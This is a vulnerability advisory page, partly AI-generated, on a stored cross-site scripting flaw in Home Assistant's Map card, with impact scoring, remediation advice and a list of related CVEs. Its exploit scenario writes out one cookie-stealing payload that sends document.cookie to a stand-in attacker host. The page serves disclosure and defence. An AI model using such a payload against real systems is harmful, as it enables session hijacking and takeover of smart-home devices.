Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticated user adds malicious device entity name
-
DeliveryDevice appears on Map-card dashboard
-
ExploitVictim hovers over information point
-
ExecutionXSS payload executes in victim's browser
-
ImpactAttacker gains session access
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires authenticated access to Home Assistant (versions 2020.02–2025.12). Attacker must add malicious name to device entity. Victim must view dashboard with Map-card displaying that entity and hover over the information point. |
| Impact | The CVSS 4.0 score of 7.3 reflects high confidentiality, integrity, and availability impact (VC:H/VI:H/VA:H) with system-wide scope implications (SC:H/SI:H/SA:H), but real-world exploitation risk is moderated by several factors. The attack complexity is low (AC:L) once authenticated, but requires presence of additional conditions (AT:P) including victim access to a dashboard with Map card showing the malicious entity. Critically, user interaction is required (UI:A) through the specific action of hovering over map points, creating friction in attack chains. The PR:L requirement means attackers need legitimate Home Assistant credentials, typically limiting exposure to insider threats, compromised accounts, or environments with weak access controls. The CVSS E:P modifier indicates proof-of-concept exists, though no confirmed active exploitation (no KEV listing). SSVC analysis suggests moderate priority: exploitation requires automation of social engineering (hovering action), technical impact enables data exfiltration and session hijacking within authenticated contexts, but automatable exploitation is limited by the UI interaction requirement. This is not a drive-by attack vector. Organizations with untrusted authenticated users (shared Home Assistant instances, guest accounts) face elevated risk compared to single-household deployments with trusted users only. |
| Exploit ScenarioDerived | An attacker with valid Home Assistant credentials (potentially a malicious household member, compromised guest account, or attacker who gained access through credential theft) authenticates to the system and navigates to device entity management. They create or rename a device entity with a malicious name containing JavaScript payload such as '<img src=x onerror=fetch("https://attacker.com/exfil?cookie="+document.cookie)>' or similar session-stealing code. When a victim user (such as the home owner or administrator) later views a dashboard containing a Map card that includes this compromised device entity and hovers their mouse over the entity's map marker to view details, the malicious JavaScript executes in their browser context. The attacker's code can then steal session tokens, exfiltrate sensitive home automation data (device states, location information, user preferences), modify automation rules, or perform actions with the victim's privileges including disabling security systems or unlocking smart locks. The stored nature of this XSS means the payload persists until the entity name is corrected, potentially affecting multiple users over time. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 27, 2026
Cross-site scripting in Home Assistant's Map card component allows authenticated users to inject malicious JavaScript through device entity names, executing arbitrary code in victims' browsers when they hover over map information points. Affects Home Assistant versions 2020.02 through 2026.0.x, with fix released in version 2026.01. No public exploit identified at time of analysis, though CVSS E:P indicates proof-of-concept code exists. EPSS data not available, but exploitation requires authenticated access and user interaction (hovering), limiting practical attack surface.
RemediationAI
Upgrade to Home Assistant Core version 2026.01 or later, which includes input sanitization fixes for device entity names rendered in Map card components. The patch addresses the root cause by implementing proper HTML encoding and XSS filtering before rendering user-controlled entity names in dashboard contexts. Organizations should prioritize upgrading instances with multiple authenticated users or those exposed to untrusted parties. As an interim workaround until patching, administrators can audit existing device entity names for suspicious JavaScript patterns (script tags, event handlers, data URIs) and sanitize or remove Map cards from shared dashboards. Review user account permissions to ensure principle of least privilege, limiting device entity modification rights to trusted administrators only. After upgrading, conduct security review of all device entity names created during the vulnerability window (2020.02 through pre-2026.01 versions) to identify and remediate any injected payloads. Full security advisory with technical details available at https://github.com/home-assistant/core/security/advisories/GHSA-r584-6283-p7xc.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in pypi, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This is a stored XSS vulnerability (CWE-79) in Home Assistant's dashboard rendering engine, specifically within the Map card component. The vulnerability stems from improper sanitization of user-controlled device entity names before rendering them in the web interface. When an authenticated user creates or modifies a device entity name to include malicious JavaScript, this payload is stored in the Home Assistant database. The XSS triggers when another user views a dashboard containing a Map card that includes the compromised entity and hovers over its information marker, causing the browser to execute the injected script in the victim's session context. The attack vector (AV:N) indicates network-based exploitation, but requires low-privileged authentication (PR:L) and active user interaction (UI:A) with specific UI elements. The vulnerability affects the core Home Assistant software (home-assistant/core repository), which serves as the central automation platform processing device states and rendering the web interface.
Know when Home Assistant gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
Primary rating from Vendor (github) · only source for this CVE.
CVSS VectorVendor: github
Lifecycle Timeline
2DescriptionCVE.org
Home Assistant is open source home automation software that puts local control and privacy first. Starting in version 2020.02 and prior to version 2026.01, an authenticated party can add a malicious name to their device entity, allowing for Cross-Site Scripting attacks against anyone who can see a dashboard with a Map-card which includes that entity. It requires that the victim hovers over an information point. Version 2026.01 fixes the issue.
Executive ViewAI
Home Assistant's Map card component contains a cross-site scripting vulnerability affecting versions 2020.02 through 2026.0.x that allows authenticated users to execute arbitrary JavaScript in other users' browsers through malicious device entity names. This vulnerability directly impacts organizations deploying Home Assistant for facility management or IoT monitoring, as it enables lateral privilege escalation and potential theft of sensitive home automation data or credentials within the platform.
Vendor-released patch: Home Assistant version 2026.01. If immediate patching is not possible, restrict Map card component access to trusted administrators only and disable device entity name editing for non-administrator users until patch deployment is completed.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Home Assistant
View allhomeassistant is an open source home automation tool. Rated critical severity (CVSS 10.0), this vulnerability is remotel
Stored/DOM cross-site scripting in the Home Assistant frontend Statistics Graph card lets an authenticated user or a mal
Home Assistant Community Store (HACS) 1.10.0 contains a path traversal vulnerability that allows unauthenticated attacke
Home assistant is an open source home automation. Rated critical severity (CVSS 9.6), this vulnerability is remotely exp
Home assistant is an open source home automation. Rated critical severity (CVSS 9.6), this vulnerability is remotely exp
Path-traversal to remote code execution in Home Assistant Core before 2026.6.0 lets an authenticated user who can supply
Home Assistant before 2021.1.3 does not have a protection layer that can help to prevent directory-traversal attacks aga
Arbitrary file write in Home Assistant Core before 2026.6.0 lets unauthenticated attackers plant attacker-controlled fil
Home assistant is an open source home automation. Rated critical severity (CVSS 9.0), this vulnerability is remotely exp
The Home Assistant Companion for iOS and macOS app up to version 2023.4 are vulnerable to Client-Side Request Forgery. R
Stored cross-site scripting in the Home Assistant Energy dashboard (versions 2025.1.0 through 2025.10.1) lets an authent
Cross-origin JavaScript injection in Home Assistant Companion apps for Android (before 2026.4.4) and iOS (before 2026.4.
EUVD-2026-16774
GHSA-r584-6283-p7xc
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB